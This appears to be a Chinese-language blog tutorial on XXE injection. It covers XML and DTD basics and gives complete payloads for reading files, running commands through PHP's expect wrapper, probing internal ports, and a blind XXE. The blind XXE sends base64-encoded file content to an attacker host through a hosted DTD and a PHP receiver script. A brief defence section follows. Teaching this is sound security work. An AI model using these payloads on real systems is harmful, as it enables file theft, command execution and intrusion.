xxe漏洞总结

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤只要路是对的,就不怕路远

目录

一、XML基础

1.XML概念

2.XML文档

3.XML学习

二、XXE漏洞简介

1.原理

2.危害

三、XXE利用

1.任意文件读取

2.系统命令执行

3.探测内网端口

4.无回显XXE

四、XXE防御


一、XML基础

1.XML概念

        XML是一种用于标记电子文件使其具有结构性的可扩展标记语言;

        XML非常灵活,类似于HTML,但无固定标签,其标签可自定义,XML用于传输数据,而HTML用于显示数据;

2.XML文档

XML文档包括XML声明、DTD文档类型定义和文档元素

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>         <!--XML文档声明-->
<!--DTD文档类型定义-->
<!DOCTYPE root[                                <!--DTD声明-->
        <!ENTITY ha "哈哈">                    <!--一般实体、内部实体-->
        <!ENTITY % hd "哈">                  <!--参数实体、内部实体-->
        %hd;                                   <!--参数实体需在dtd中引用-->
        <!ENTITY p SYSTEM "http://192.168.1.1/mydata.dtd">   <!--外部实体,引入外部dtd文件-->
        <!ENTITY passwd SYSTEM "file:///etc/passwd">         <!--外部实体,读取外部文件-->
]>
<!--文档元素-->
<root>                             <!--自定义根元素-->
  <name>haha</name>                <!--自定义子元素,变量name=haha-->
  <ab>&ha;</ab>                    <!--引用一般实体,变量ab=哈哈-->
  <logo>%hd;</logo>                <!--引用参数实体,变量logo=哈-->
  <de>&passwd;</de>                <!--引用外部实体,变量de值为/etc/passwd文件内容-->
</root>

3.XML学习

XML 教程 | 菜鸟教程

二、XXE漏洞简介

1.原理

        XXE(XML External Entity Injection),即XML外部实体注入攻击漏洞,应用程序在解析XML时加载了恶意外部实体,造成XXE漏洞攻击;

2.危害

        ①任意文件读取;

        ②执行系统命令;

        ③探测内网端口;

三、XXE利用

1.任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

利用XXE漏洞读取/flag文件:

2.系统命令执行

在安装了expect扩展的php环境里可执行系统命令,如执行 ifconfig 命令:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

3.探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

4.无回显XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://192.168.3.10/h.dtd">
    %remote;
    %all;
    %send;
]>

攻击者主机的第一个文件,test.php:

<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>

攻击者主机的第二个文件,h.dtd:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.3.10/test.php?file=%file;'>">

最后会在攻击者主机上生成test.txt文件,内容为无回显的结果;

四、XXE防御

        ①字符串实体编码;

        ②对XML数据过滤,如关键字SYSTEM等;

        ③禁用外部实体,libxml_disable_entity_loader(true);

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值